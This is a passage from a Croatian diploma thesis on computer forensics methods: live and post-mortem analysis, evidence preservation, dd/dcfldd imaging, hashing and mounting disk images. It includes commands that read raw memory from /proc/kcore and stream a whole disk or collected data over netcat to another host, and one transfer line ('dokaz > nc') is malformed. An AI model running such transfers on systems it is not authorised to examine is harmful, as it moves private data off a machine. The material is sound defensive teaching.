DIPLOMSKI RAD br. 1684

Forenzička analiza računalnog sustava

Arijel Horvat



Sadržaj


 1. Uvod    5

 2. Forenzičke metode i procedure    6

 2.1. Analiza sustava u radnom stanju    6

 2.1.1. Prikupljanje i očuvanje dokaza    7

 2.2. Analiza sustava post-mortem    11

 2.2.1. Izrada forenzičke kopije    11

 2.3. Prikupljanje mrežnih dokaza    11

 2.4. Analiza prikupljenih podataka    12

 2.4.1. Analiza forenzičke kopije    13

 2.4.2. Analiza napadačkih programa    16

 2.4.3. Analiza mrežnih dokaza    18

 2.5. Dokumentiranje rezultata    20

 3. Forenzički alati    22

 3.1. Forenzički alat PyFlag    22

 3.1.1. Korištenje    22

 3.1.2. Instalacija    26

 3.2. Forenzički alat The Sleuth kit    27

 3.2.1. Korištenje    27

 3.2.2. Grafičko sučelje Autopsy    37

 3.2.3. Instalacija    38

 4. Pripreme za analizu slučaja    39

 4.1. Podešavanje radne okoline za forenzičku analizu    39

 5. Forenzička analiza odabranih slučajeva    46

 5.1. Forenzička analiza kompromitiranog GNU/Linux operacijskog sustava    46

 5.1.1. Prikupljanje podataka    46

 5.1.2. Analiza prikupljenih podataka    49

 5.1.3. Zaključak analize slučaja    64

 5.2. Analiza dnevnika sigurnosne stijene    64

 5.2.1. Analiza korištenjem forenzičkog alata PyFlag    65

 5.2.2. Analiza korištenjem baze podataka MySql    67

 5.2.3. Zaključak analize slučaja    71

 6. Zaključak     72

 7. Literatura    73

 8. Prilog A: Rezultat pretraživanja datoteke process.lsof za proces 3137/smbd    76

 9. Prilog B: Rezultat pretraživanja datoteke process.lsof za proces 15119/initd    77

10.Prilog C: Rezultat pretraživanja datoteke process.lsof za proces 25241,25239/xopen    78

11.Prilog D: Rezultat pretraživanja datoteke process.lsof za proces 25247/lsn    79

12.Prilog E: Rezultat pretraživanja datoteke process.lsof za proces 3153/swapd    80



  Sažetak

U ovom diplomskom radu opisane su osnovne metode i procedure računalne forenzike. Od slobodno dostupnih alata izdvojeni su forenzički alati The Sleuth kit i Pyflag, te je opisana njihova funkcionalnost. U praktičnom dijelu, napravljena je forenzička analiza slučajeva kompromitiranog GNU/Linux operacijskog sustava, te analiza dnevnika sigurnosne stijene. Analiza slučaja načinjena je korištenjem opisanih forenzičkih alata, te vlastite aplikacije koja se koristi kod analize dnevnika sigurnosne stijene.

  Abstract

This diploma thesis explains the fundamental methods and procedures of computer forensic science.  The thesis also contains explanations for two open source forensic tools PyFlag and The Sleuth Kit. The given forensic tools are used for conducting forensic analysis of two prepared cases. The first case represents compromised live GNU/Linux system, while the second case represents honeypot firewall log file. In addition to forensic tools, a custom script is made, which is used for analysis of firewall log file.


 1.        Uvod

Digitalno doba možemo okarakterizirati kao primjenu računalnih tehnologija kao alata u svrhu poboljšanja tradicionalnih metoda. Iskorištavanje računalnih sustava u privatne, komercijalne, edukacijske, državne i ostale aspekte modernog života, uvelike je poboljšalo produktivnost i efikasnost tih entiteta. S druge strane predstavljanje računalnih sustava kao kriminalnog alata je omogućilo usavršavanje kriminalnih radnji. Uporaba računalnih sustava sama po sebi pruža osjećaj anonimnosti, a samim time smanjuje mogućnost otkrivanja njegovih korisnika. Ova zadnja činjenica može se dodatno potvrditi ako kažemo da većina računalnih sustava predstavlja ujedno i mrežne sustave, odnosno priključeni su na neku mrežu gdje je gotovo nemoguće odrediti tko koristi koji sustav. Računalna forenzika, ili bolje rečeno računalna forenzička znanost, predstavlja spoj tehnologije i znanosti koja pokušava ustanoviti na koji način računalni sustavi sudjeluju u određenim kriminalnim radnjama. Znanost u računalnoj forenzici obuhvaća poznavanje metoda i procedura koje se primjenjuju u analizi i prikupljanju podataka (dokaza). Tehnologija s druge strane predstavlja razne alate koji omogućavaju primjenu metoda i procedura računalne forenzike.

"računalna forenzika je postupak prikupljanja i analize podataka na način da se ne utječe na njihovu originalnost ili uništenje, što je više moguće, u svrhu rekonstrukcije podataka ili događaja koji su se dogodili u prošlosti na nekom računalnom sustavu" [1]

Računalni sigurnosni incident predstavlja uporabu računalnih ili mrežnih sustava za razne nelegalne, neprihvatljive ili ne autorizirane radnje [2]. Kao događaje za koje se smatra da uzrokuju povredu računalne sigurnosti mogu se navesti sljedeći:

l        ne autorizirani pristup računalnom sustavu

l        DoS (Denial of Service) napadi

l        slanje neželjene elektroničke pošte (email spam)

l        bilo koja nezakonita radnja koja uključuje računalni sustav

Odgovor na sigurnosni incident predstavlja vrlo složen proces. Cijeli proces moguće je podijeliti na nekoliko dijelova:

l        utvrđivanje sigurnosnog incidenta

l        priprema za analizu incidenta

l        forenzička analiza računalnih sustava koji su sudjelovali u incidentu

l        pisanje forenzičkog izvještaja na temelju dobivenih rezultata

l        poduzimanje odgovarajućih radnji potrebnih za uklanjanje incidenta

Otkrivanje sigurnosnog incidenta je najvažniji korak jer o njemu ovise ostali koraci koji se izvode. Nakon potvrde sigurnosnog incidenta, potrebno je prikupiti što više detalja koji su vezani za incident. Na temelju prikupljenih detalja moguće je ostvariti učinkovitu fazu pripreme, koja uključuje odabir procedura i metoda, te odgovarajućih alata. Nakon toga slijedi faza prikupljanja i analize podataka. Pisanje forenzičkog izvještaja predstavlja završni korak u kojem se objašnjavaju dobiveni rezultati. Na temelju dobivenih rezultata moguće je poduzeti odgovarajuće radnje radi sprečavanja ponavljanja sigurnosnog incidenta i procesuiranja počinitelja.

 2.        Forenzičke metode i procedure

Postupci forenzičke analize mogu se podijeliti ovisno o stanju u kojem se nalazi sustav koji se analizira. Svaki sustav ima dva osnovna stanje, a to su uključen (online) ili isključen (offline). Uključeno stanje predstavlja radno stanje nekog sustava u kojem sustav obavlja neku zadaću. Za razliku od uključenog stanja, isključeno stanje je ono u kojem sustav miruje, odnosno ne obavlja nikakvu zadaću (isključeno je s napajanja). Prema tome, forenzička analiza se dijeli na online i offline, odnosno na tako zvanu live i post-mortem analizu. Svaki postupak dodatno obuhvaća  identificiranje, izdvajanje, očuvanje, i dokumentiranje računalnih dokaza [3]. Izdvajanje i identifikacija dokaza jednom riječju predstavlja prikupljanje dokaza s kompromitiranog sustava.

Računalni dokaz može biti bilo koji podatak, odnosno informacija koja je relevantna za slučaj koji se analizira (pomaže u rješavanju slučaja) [4]. Identificiranje dokaza može biti mukotrpan posao, pa se dokazom smatra bilo koji podatak koji je prikupljen tijekom analize. Dokaze je potrebno izdvojiti sa sustava i očuvati na prikladan način. Svi dokazi od velike su važnosti za rješavanje slučaja, i predstavljaju izvor informacija koji omogućava donošenje zaključaka. Ako su dokazi prikupljeni i pohranjeni na odgovarajući način tada je njihova iskoristivost puno veća, a pogotovo ako ih se koristi u pravne svrhe (dokaz na sudu) [5].

Svaki korak analize potrebno je dokumentirati na odgovarajući način. Izrada dokumentacije od iznimne je važnosti jer omogućava u svakom trenutku uvid u radnje koje su ostvarene do tog trenutka, te da se iste mogu rekonstruirati ako je to potrebno.

 2.1.                        Analiza sustava u radnom stanju

Kao što je već spomenuto, live analiza predstavlja analizu sustava koji se nalazi u radnom stanju. Postupci live analize omogućavaju pronalaženje dokaza koji jedino egzistiraju dok je sustav u radnom stanju. Pregled stanja procesa, otvorenih mrežnih veza, sadržaja radne memorije, samo su neki od dokaza koji se mogu prikupit tijekom live analize. Svrha analize je prikupiti dokaze koji potvrđuju da se napad dogodio, ustanoviti raspon napada, te donijeti odluku da li je potrebno napraviti offline analizu. Vrlo često live analiza može predstavljati jedini način na koji se može analizirati sustav. Za to može postojati više razloga, a jedan je taj da sustav koji se analizira obavlja važnu funkciju, te zbog tog razloga sustav ne smije biti u offline stanju (funkcija poslužitelja). U tom slučaju podaci se moraju temeljito prikupiti, jer će oni predstavljati jedini izvor dokaza. Ovaj način analize iznimno je osjetljiv jer sve radnje izravno utječu na stanje sustava. Zbog toga je potrebno minimizirati broj operacija koje se izvode, kako bi utjecaj na stanje sustava bio što manji. S druge strane broj operacija mora biti dovoljan kako bi se prikupila zadovoljavajuća količina informacija koja će rasvijetliti početno stanje sustava [6].

Analiza sustava u radnom stanju zahtijeva odabir odgovarajućih alata kojima će se provesti analiza, te odabir načina pohrane prikupljenih podataka. Bitno je napomenuti da alati uglavnom predstavljaju nezavisne programe koji se izvode unutar ljuske operacijskog sustava. Ovaj korak je od iznimne važnosti jer programi koji se nalaze na kompromitiranom sustavu nisu od povjerenja i ne mogu se koristiti za analizu. Česti je slučaj da napadač podmetne kompromitirane programe koji imaju funkciju prikrivanja dokaza. Nadalje programi koji se koriste moraju biti statički vezani, odnosno njihova funkcija se ne smije oslanjati na korištenje biblioteka kompromitiranog sustava zbog istog razloga koji je naveden za programe. Dodatno svi alati moraju biti pohranjeni na neki od prijenosnih medija, kako bi se isti mogli koristiti na kompromitiranom sustavu. Odabir alata uglavnom ovisi o operacijskom sustavu koji se analizira.

 2.1.1.                   Prikupljanje i očuvanje dokaza

Prije početka prikupljanja dokaza, potrebno je definirati podatke koji će se prikupiti, te gdje će se isti pohraniti. Kada se analizira sustav u radnom stanju podaci se ne smiju pohraniti lokalno na sustav koji se analizira, jer može doći do uništenja važnih dokaza. Kao jedino logično rješenje nameće se pohrana podataka na neki od unaprijed pripremljenih spremnika podataka ili prijenos podataka na neko udaljeno računalo. Udaljeno računalo još se naziva forenzički sustav (forensic system), koji se osim za pohranu podataka koristi i za njihovu analizu.

Od zanimljivih podataka mogu se izdvojiti sljedeći:

l        datum i vrijeme sustava

l        popis aktivnih procesa na sustavu

l        popis otvorenih mrežnih pristupnih točaka

l        sadržaj radne memorije

l        popis procesa i datoteka koje procesi koriste

l        vremenske oznake datoteka i kazala datotečnog sustava

l        popis sustava koji imaju ili su imali uspostavljenu vezu s kompromitiranim sustavom

Prikupljanje podataka tijekom live analize mora se odvijati u skladu s njihovim životnim vijekom. Podaci s kraćim životnim vijekom imaju veći prioritet i potrebno ih je prikupiti što prije. Tablica 2.1 prikazuje prosječan životni vijek podataka u računalnim sustavima [7].

Tablica 2.1.Životni vijek podataka u računalnim sustavima.

Tip podataka

Životni vijek

registri, priručna memorija, vanjska memorija, radna memorija

10-9sekundi

stanje mrežnih veza

10-3sekundi

stanje aktivnih procesa

sekunde

tvrdi disk

minute

prijenosni mediji (CD-ROM, DVD)

godine

Prikupljanje podataka prema životnom vijeku omogućava da se podaci sačuvaju od uništenja. Dodatno, treba voditi računa o utjecaju postupaka analize na sustav. Treba se suočiti s činjenicom da neće biti moguće prikupiti podatke u jednom dijelu sustava, a da se pri tome ne utječe na ostale dijelove sustava. Ovo načelo poznato je i kao Heisenbergov princip neodređenosti primijenjen na računalne sustave [1]. Kao primjer može se pokazati utjecaj pretraživanja radne memorije GNU/Linux operacijskih sustava na sadržaj iste. Datoteka /proc/kcore predstavlja virtualnu datoteku fizičke RAM memorije. Radna memorija pretražuje se prema ključnoj riječi 'Jabuka je zelena' koja sigurno nije bila dio memorije prije pretraživanja. Iz dobivenih rezultata na slici 2.1 može se učiti da se tražena riječ ipak pojavljuje kao dio sadržaja memorije, čime je potvrđena prethodna tvrdnja.

fs# strings /proc/kcore | grep 'Jabuka je zelena' | less

strings /proc/kcore | grep 'Jabuka je zelena'
strings /proc/kcore | grep 'Jabuka je zelena'
ku RAM memoriju.</text:p><text:p text:style-name="Primjer">fs# strings
/proc/kcore | grep &quot;Jabuka je zelena&quot;<text:line
break/></text:p><text:p text:style-name="Text_20_body">Sljede
ku RAM memoriju.</text:p><text:p text:style-name="Primjer">fs# strings
/proc/kcore | grep &quot;Jabuka je zelena&quot;<text:line-break/></text:p><text:p text:style-name="Text_20_body">Sljede
'Jabuka je zelena'
Jabuka je zelena
Jabuka je zelena
[Crep "Jabuka je zelena" |
root@anubis:~# strings /proc/kcore | grep 'Jabuka je zelena'
strings /proc/kcore | grep 'Jabuka je zelena'
string /proc/kcore | grep "Jabuka je zelena" | less
grep "Jabuka je zelena"
'Jabuka je zelena'
gs /proc/kcore | grep "Jabuka je zelena" | less
gs /proc/kcore | grep "Jabuka je zelena" | less
gs /proc/kcore | grep "Jabuka je zelena" | less
strings /proc/kcore | grep "Jabuka je zelena" | less
sudo strings /proc/kcore | grep "Jabuka je zelena" | less
strings /proc/kcore | grep "Jabuka je zelena" | less
sudo strings /proc/kcore | grep "Jabuka je zelena" | less
| grep "Jabuka je zelena" | less
...

Slika 2.1. Pretraživanje sadržaja radne memorije

Što se tiče pohrane podataka , u uvodu je rečeno da postoje dvije opcije:

l        prijenos podataka preko mreže na forenzički sustav (forensic system)

l        pohrana podataka na unaprijed pripremljene spremnike podataka

Pohrana podataka na spremnike predstavlja solidno rješenje. U tom slučaju potrebno je pripremit više različitih spremnika (CD-ROM, USB disk) odgovarajućeg kapaciteta kako bi se zadovoljili svi zahtjevi sustava (podrška za različite tipove spremnika podataka). Prijenos podataka preko mreže je danas možda i najelegantnije rješenje iz razloga što su prijenosna računala sve više dostupna, a opremljena odgovarajućim operacijskim sustavom i forenzičkim alatima predstavljaju idealan forenzički sustav. Kao drugi razlog mogu se navesti, sve veće brzine mrežnih kartica koje omogućavaju prijenos velikih količina podataka u kratkom vremenu.

Kod prijenosa podataka preko mreže potrebno je voditi računa o povjerljivosti mreže preko koje se podaci prenose. Na nepovjerljivim mrežama potrebno je koristiti dodatne metode kriptiranja kako bi se zaštitili podaci koji se prenose. Idealan slučaj je da se kompromitirani sustav direktno poveže s forenzičkim sustavom i na taj način osigura siguran prijenos podataka.

Slika 2.2 prikazuje primjer povezivanja forenzičkog i kompromitiranog sustava.

Text Box: Slika  SEQ "Slika" \*Arabic 2.2.Prijenos podataka preko mreže
Nakon uspješnog povezivanja računala, prijenos podataka moguće je ostvariti korištenjem jednostavnih programa kao što je program netcat (nc). Ovaj program omogućava prijenos i čitanje podataka korištenjem UDP i TCP protokola [8]. Na forenzičkom sustavu alat je postavljen da prima zahtjeve na pristupnoj točki 8000, dok se na kompromitiranom sustavu podaci sa standardnog ulaza preusmjeravaju na ulaz programa nc koji uspostavlja vezu i šalje podatke prema forenzičkom sustavu.

fs# nc -l -p 8000 > dokaz.1
ks# dokaz > nc -w 1 192.168.1.10 8000

Ako se radi o nepovjerljivoj mreži, podaci se prije slanja moraju kriptirati. Kriptirani podaci šalju se preko mreže na forenzički sustav. Na prijemnoj strani podatke je potrebno dekriptirati. Dodatno podatke je moguće poslati korištenjem sigurnog ssh tunela ili korištenjem alata cryptcat, koji ima istu funkciju kao netcat s jedinom razlikom što je sav promet kriptiran. Nakon što su podaci prikupljeni potrebno je očuvati njihov integritet, kako bi bili sigurni da nije bilo naknadnih promjena. Integritet je moguće osigurati i prije prijenosa kako bi se moglo utvrditi da li je došlo do gubitka podataka pri prijenosu ili njihove promijene. Neki od standardnih alata za izradu sažetaka su md5sum i sha1sum.

fs# md5sum dokaz.1
d41d8cd98f00b204e9800998ecf8427e  dokaz.1
fs# sha1sum dokaz.1
da39a3ee5e6b4b0d3255bfef95601890afd80709  dokaz.1

Svaka live analiza započinje i završava prikupljanjem datuma i vremena sustava koji se analizira. Na taj način se postiže da se analiza odvija unutar vremenskog okvira. Sve radnje koje su izvan okvira predstavljaju radnje koje su se dogodile prije početka analize i predstavljaju dokaze.

ks# date > date.start
...
Provedba analize
...
ks# date > date.end

Alati koji se odaberu za forenzičku analizu moraju biti od visokog povjerenja. To znači da rezultati koje daju moraju biti ispravni, jer inače analiza nema smisla. Kako se svi alati uglavnom izvršavaju u ljusci (shell) operacijskog sustava, potrebno je osigurati da ta ljuska također bude od povjerenja. Naime, može se dogoditi da napadač osim kompromitiranih alata, na sustav postavi i kompromitiranu ljusku, te na taj način dodatno onemogući korištenje povjerljivih alata. Iz tog razloga je među povjerljivim alatima potrebno imati i povjerljivu ljusku, koja se mora pokrenuti prije pokretanja bilo kojeg drugog alata. Kao primjeri ljuski mogu se navesti GNU/Linux bash ljuska ili cmd ljuska kod Windows operacijskih sustava.

Kako proces live analize zahtjeva visoku preciznost kod prikupljanja podataka i to kako bi se smanjile eventualne pogreške i utjecaj analize na sustav. Zahtjeva se da procedure koje se koriste budu automatizirane, detaljno razrađene, nedvosmislene, ponovljive i da umanje utjecaj donošenja odluka na njihovu provedbu [5]. Kako bi se udovoljilo ovim zahtjevima, izrađuju se posebne datoteke skripte, koje sadrži naredbe koje se izvode tijekom live analize. Skripte omogućavaju automatizirano izvršavanje više naredbi, te ih je moguće dodatno testirati prije korištenja. Testiranjem izvršavanja smanjuje se utjecaj pogrešaka i dobiva se na brzini. Primjer skripte linux-ir.sh prikazana je na slici 2.3 [9].

#! /bin/bash

CURDIR=`./linux_x86/pwd`

BINDIR="$CURDIR/linux_x86"

$BINDIR/echo "All output can be redirected to your choice of storage or netcat pipe."

$BINDIR/echo

$BINDIR/echo "==================================="

$BINDIR/echo "netstat output(current connections)"

$BINDIR/echo "==================================="

$BINDIR/netstat -anp

$BINDIR/echo

$BINDIR/echo "=============="

$BINDIR/echo "routing table:"

$BINDIR/echo "=============="

$BINDIR/netstat -rn

$BINDIR/echo

$BINDIR/echo "==========================="

$BINDIR/echo "listening ports (via lsof):"
...

Slika 2.3. Skripta linux-ir.sh Helix Linux distribucije

Rezultati koji se dobiju izvršavanjem skripte mogu se preusmjeriti na ulaz alata netcat. U tu svrhu parametre programa je potrebno modificirati, jer skripta daje više uzastopnih ispisa.

fs# nc -p 8000 >> dokaz.1
ks# dokaz > nc 192.168.1.10 8000

Bez uporabe zastavice -w programa, omogućno je da veza između kompromitiranog i forenzičkog sustava ostane uspostavljena sve dok se ne prekine naredbom CTRL-C. Operator >> omogućava dodavanje novog sadržaja na kraj datoteke, za razliku od operatora > koji briše stari sadržaj prije zapisivanja novog.

Prilikom prikupljanja dokaze treba voditi računa o čimbenicima koji mogu utjecati na iste. U tom pogledu vrlo je važno voditi računa o pravnim načelima, kao i o načelima koja se tiču privatnosti podataka. Kod načela privatnosti potrebno je voditi računa o pristupu podacima, tj. da li imamo ovlaštenje za prikupljanje određenih podataka. Dodatno, podatke koji se prikupljaju potrebno je zaštiti od neovlaštenog pristupa, odnosno subjekata koji nemaju prava pristupa prikupljenim podacima (podaci mogu sadržavati osjetljive informacije). Prikupljeni dokazi dodatno moraju zadovoljavati određene kriterije [5]:

l        autentičnost

l        potpunost

l        pouzdanost

l        razumljivost

Ako jedan od navedenih kriterija nije zadovoljen uporaba dokaza može biti upitna.

 2.2.                        Analiza sustava post-mortem

Post-mortem analiza sustava obično predstavlja korak koji slijedi nakon live analize. Nakon što se  kompromitirani sustav postavi u offline stanje, prelazi se na izradu forenzičkih kopija spremnika podataka koji su priključeni na sustav. Spremnici podataka uglavnom predstavljaju tvrde diskove koje sustav koristi u svojem radu. Postavljanje sustava u offline stanje ostvaruje se tako da se sustav fizički odspoji s izvora napajanja. Razlog tome je da standardni postupak gašenja uključuje radnje koje modificiraju podatke na sustavu, te iz tog razloga nije prikladan.

Forenzička kopija (forensic duplicate, forensic image) predstavlja egzaktnu fizičku kopiju spremnika podataka, odnosno tvrdog diska. Pod egzaktnom kopijom misli se na kopiranje informacija na razini bita, odnosno bajta. Na taj način je osigurano da će svi podaci biti sadržani u kopiji, uključujući obrisane datoteke, nealocirani prostor i slobodan prostor diska. S razine datotečnog sustava ovi podaci nisu vidljivi.

 2.2.1.                   Izrada forenzičke kopije

Prije izrade forenzičke kopije potrebno je odabrati odgovarajući alat. Od alata se zahtijeva da ima mogućnost kopiranja svakog bita s originalnog spremnika. Dodatno alat mora zadovoljavati sljedeće kriterije [10]:

l        mora omogućiti oporavak od pogrešaka nastalih prilikom čitanja podataka

l        ne smije mijenjati originalne podatke

l        mora zadovoljiti eventualna ispitivanja dobivenih rezultata od treće strane

Alati koji su slobodno dostupni i zadovoljavaju navedene kriterije su dd i dcfldd. Alat dcfldd je modificirana (naprednija) verzija dd alata koji dodatno podržava izradu sažetka kopije. Ovi alati namijenjeni su kopiranju podataka s time da nad njima mogu raditi razne konverzije i formatiranja, ovisno o zastavicama koje se koriste pri njihovoj uporabi [11].

Nakon što je ustanovljeno koje spremnike sustav sadrži, može se napraviti njihova forenzička kopija. Slijedeći primjer prikazuje izradu kopije korištenjem alata dd i dcfldd. Spremnik koji se kopira je SCSI tvrdi disk oznake /dev/sda, koja je karakteristična za GNU/Linux operacijske sustave.

# dd if=/dev/sda of=sda.forensic_dup bs=4048
# dcfldd if=/dev/sda of=sda.forensic_dup bs=4048 hash=md5\    hashlog=sda.forensic_dup.md5

Kod alata dcfldd zastavicama hash i hashlog redom su zadani tip sažetka i datoteka u koju će se isti pohraniti. Ako se podaci prenose preko mreže, tada je potrebno izostaviti zastavicu of i izlaz preusmjeriti na naredbu nc korištenjem operanda "|".

fs# nc -l -p 8000 >  sda.forensic_dup
ks# dd if=/dev/sda bs=4048 | nc -w 1 192.168.1.10 8000

 2.3.                        Prikupljanje mrežnih dokaza

Mrežni dokazi predstavljaju rezultat praćenja mrežne komunikacije [12]. Praćenje mrežne komunikacije odvija se pomoću mrežnih sustava koji imaju tu namjenu. Takvi sustavi još se nazivaju i mrežnim monitorima (network monitors). Mrežni monitori se postavljau s ciljem prikupljanja dodatnih dokaza zbog utvrđivanja tijeka događanja na mreži i raspona samog napada.

Praćenje mrežne komunikacije može se podijeliti na tri dijela:

l        praćenje predefiniranih događaja (event monitoring)

l        praćenje zaglavlja mrežne komunikacije (trap and trace)

l        praćenje cijelog prometa mrežne komunikacije (full-content monitoring)

Svaki mrežni monitor može imati niz predefiniranih događaja koje bilježi. Takvi događaji su obično generirani od strane IDS uređaja (Intrusion Detection System) i predstavljaju pokušaje napada ili sumnjive radnje koje je potrebno istražiti.

Zaglavlja mrežne komunikacije sadrže informacije o IP adresi, pristupnim točkama, te raznim zastavicama koje se razmjenjuju između sustava koji sudjeluju u komunikaciji. Sadržaj zaglavlja prvenstveno je određen protokolom koji se koristi u komunikaciji (TCP, UDP, ICMP). Ovakav tip komunikacije može otkriti pokušaje skeniranja sustava.

Praćenje cijelog prometa komunikacije sadrži stvarne podatke koji se razmjenjuju u komunikaciji, sirovi paketi (raw packets). Takvi paketi sadrže zaglavlje komunikacije (ovisi o korištenom protokolu) i podatke koji se razmjenjuju u komunikaciji.

Primjer na slici 2.4 prikazuje mrežni promet generiran od strane snort alata [13]. Promet sadrži samo zaglavlja komunikacije.

...
01:59:50.250759 IP 192.168.0.9 > 192.168.0.99: ICMP echo request, id 31465, seq 0, length 8
01:59:50.250837 IP 192.168.0.99 > 192.168.0.9: ICMP echo reply, id 31465, seq 0, length 8
01:59:50.250803 IP 192.168.0.9.52218 > 192.168.0.99.80: . ack 4094787819 win 2048
01:59:50.250878 IP 192.168.0.99.80 > 192.168.0.9.52218: R 4094787819:4094787819(0) win 0
02:00:00.596850 IP 192.168.0.9.52198 > 192.168.0.99.52156: S 68054434:68054434(0) win 2048
02:00:00.596958 IP 192.168.0.99.52156 > 192.168.0.9.52198: R 0:0(0) ack 68054435 win 0
02:00:00.596896 IP 192.168.0.9.52198 > 192.168.0.99.28494: S 68054434:68054434(0) win 2048
...

Slika 2.4. Mrežni promet snort alata

Mrežni monitori vrlo su efikasni za prikupljanje podataka na mreži. Napadači obično nisu svjesni postojanja ovakvih sustava što dodatno doprinosi povjerljivosti podataka.

 2.4.                        Analiza prikupljenih podataka

I ako nije pravilo, analiza podataka slijedi tek nakon što su svi podaci prikupljeni. Analizom podataka izdvajamo informacije koje su relevantne kako bi odredili pravu sliku kompromitiranog sustava. Kako bi se dobivene informacije mogle uspješno interpretirati potrebno je dobro poznavanje sustava koji se analizira. Znanje o operacijskom sustavu, ponašanje sustava u normalnom radu samo su dio znanja koja su potrebna za razumijevanje prikupljenih dokaza.

 2.4.1.                   Analiza forenzičke kopije

Kako bi se mogla napraviti analiza forenzičke kopije potrebno je napraviti određene pripreme [14]. Kao prvo, analiza se nikada ne izvodi na originalnim podacima, nego na njihovim kopijama. Kopija forenzičke kopije naziva se radna kopija. Na ovaj način dokazi su osigurani od eventualnog uništenja. Dodatno je potrebno identificirati i interpretirati sadržaj kopije. Identifikacija znači određivanje tipa datotečnog sustava, a interpretacija pregled njegovog sadržaja. Na raspolaganju su dvije solucije. Prva se odnosi na kopiranje sadržaja kopije na spremnike kakvi su bili na originalom sustavu (rekonstrukcija originalnog okruženja). Druga solucija obuhvaća analizu kopije u stanju kakvo je dobiveno pri izradi forenzičke kopije.

Odabir rješenja ovisi o nekoliko kriterija:

l        metodama analize koje će se koristiti

l        formatu originalnih podataka (tip datotečnog sustava)

l        stanju originalnih podataka (oštećeni podaci)

l        zahtjevima analize (da li je potrebno sustav analizirati u njegovom originalnom okruženju)

Rekonstrukcija originalnog okruženja podrazumijeva pronalaženje odgovarajućih spremnika podataka. Spremnici moraju biti odgovarajućeg kapaciteta (jednak ili nešto veći od originala). Ako se koristi više spremnika, treba voditi računa da su svi istih karakteristika (proizvođač, kapacitet i sl.). Dodatno spremnici moraju biti prazni, ne smiju sadržavati nikakve podatke koji bi mogli utjecati na podatke s forenzičke kopije. Nakon što je sadržaj kopije kopiran na pripremljene spremnike, potrebno ih je priključiti na forenzički sustav. Forenzički sustav mora imati podršku za odgovarajući tip datotečnog sustava.

Analiza kopije u prirodnom obliku predstavlja jednostavnije rješenje. GNU/Linux operacijski sustavi predstavljaju odlično rješenje u tom slučaju. Njihova podrška za veliki broj tipova datotečnog sustava omogućava da se na jednostavan način pristupi podacima koji se nalaze na forenzičkoj kopiji. Linux operacijski sustavi imaju podršku za tako zvani loop uređaj (loop device) koji će omogućiti korištenje forenzičke kopije. Forenzička kopija, prije nego što se poveže s loop uređajem, predstavlja običnu datoteku koja sadrži podatke u sirovom formatu (raw format).

# fdisk -l -u -C 512 /dev/loop0
Disk image.sdb: 0 MB, 0 bytes
128 heads, 32 sectors/track, 0 cylinders, total 0 sectors
Units = sectors of 1 * 512 = 512 bytes
    Device Boot      Start         End      Blocks   Id  System
image.sdb1   *          32     1884159      942064   83  Linux
image.sdb2         1884160     2097151      106496   82  Linux swap / Solaris

# mount -t ext3 -r -o loop,offset=16384 image.sdb ~/tmp

Slika 2.5 Korištenje naredbi fdisk i mount.

Priključivanje kopije na loop uređaj moguće je ostvariti na dva načina [15]. Jedan i drugi način zahtijevaju informaciju o datotečnom sustavu kopije (sadržaj particijske tablice). Ta informacija može se dohvatiti naredbom fdisk [11] kao što je prikazano na slici 2.5. Nakon što je ustanovljeno koje particije kopija sadrži, potrebno je odrediti odmak za svaku od njih. Odmak se izračunava kao umnožak početnog sektora particije (stupac start) i veličine jednog sektora u bajtima. U primjeru sa slike 2.5 izračunati odmak je 32*512=16384. Korištenjem tih podataka i naredbe mount [11] odabrana particija može se priključiti na sustav (slika 2.5).

Drugi pristup zahtijeva izdvajanje particija iz forenzičke kopije. To se može ostvariti korištenjem alata dd. Informacije koje su potrebne u ovom slučaju su: početni sektor particije, veličina sektora, te ukupan broj sektora koje particija sadrži. Broj sektora particije može se dobiti kao završni_sektor – početni_sektor + 1, dok se ostale informacije mogu pročitati iz ispisa naredbe fdisk (slika 2.5).

# dd if=image.sdb of=image.sdb1 bs=512 skip=32 count=1884128
# mount -r -t ext3 -o loop image.sdb1 ~/tmp

Ova faza pripreme forenzičke kopije još se naziva i analiza particija (volume analysis) [16]. Primjer predstavlja idealan slučaj, kada je forenzička kopija napravljena bez pogrešaka, te kada su particijske tablice očuvane. Kada to nije slučaj, odnosno kada su particijske tablice uništene iz nekog razloga, javlja se problem kako napraviti njihov oporavak, te omogućiti pristup particijama na forenzičkoj kopiji.

Nakon što je faza analize particija uspješno završena, prelazi se na analizu datotečnog sustava (filesystem analysis). Datotečni sustav predstavlja apstrakciju koja omogućava pohranu i dohvaćanje podataka u obliku datoteka i kazala [17]. Sa stajališta analize, datotečni sustav može se promatrati kao slojeviti model. Svaki sloj skriva određeni tip podataka koji je karakterističan za njega.

Slike 2.6 prikazuje slojeviti model datotečnog sustava i podatke koje sadrži.

Text Box: Slika  SEQ "Slika" \*Arabic 2.6.Slojeviti model datotečnog sustava
Analiza datotečnog sustava može se podijeliti u nekoliko koraka:

l        oporavak obrisanih datoteka

l        oporavak nealociranog, slobodnog i mrtvog (slack space) prostora

l        generiranje sadržaja datotečnog sustava (popis datoteka datotečnog sustava)

l        sortiranje datoteka i pretraživanje sadržaja datoteka

l        pregled privremenih datoteka (temporary files)

l        pregled dnevnika operacijskog sustava

Oporavak obrisanih podataka predstavlja tehniku koja vrlo često rezultira u pronalaženju ključnih dokaza na kompromitiranom sustavu. Naime, cilj svakog napadača je prikriti svoje tragove i to najčešće brisanjem odgovarajućih datoteka. Ovdje je važno napomenuti da se datoteke fizički ne mogu obrisati, već se prekida veza između imena datoteke i njezinog fizičkog zapisa, tako da ona postaje nedostupna s korisničke strane (s razine datotečnog sustava). Tako oslobođeni prostor na tvrdom disku koristi se za stvaranje novih zapisa. Zbog tog razloga iznimno je važno poznavati rad datotečnog sustava, a pogotovo dio koji se odnosi na brisanje podataka (svaki datotečni sustav ne mora brisati podatke na isti način). Kako bi olakšali postupak, razvijeni su mnogi alati koji služe za oporavak obrisanih datoteka (foremost).

Oporavak nealociranog, slobodnog i mrtvog prostora predstavlja novi izazov. Nakon što je ostvaren oporavak obrisanih datoteka još uvijek se mogu pronaći dokazi koji nisu odmah vidljivi s razine datotečnog sustava. Mrtav prostor predstavlja dio između kraja zapisa neke datoteke i nakupine sektora (cluster) u koji je taj dio datoteke smješten. Svaki datotečni sustav zapisuje i čita podatke kao niz blokova. Svi blokovi su iste veličine, koja je određena prilikom stvaranja datotečnog sustava. Nealocirani prostor predstavlja onaj dio tvrdog diska koji ne pripada niti jednoj datoteci, a sadrži fragmente obrisanih datoteka i kazala. Slobodni prostor je prostor tvrdog diska koji ne pripada niti jednoj particiji, te može sadržavati podatke s nekog prijašnjeg datotečnog sustava.

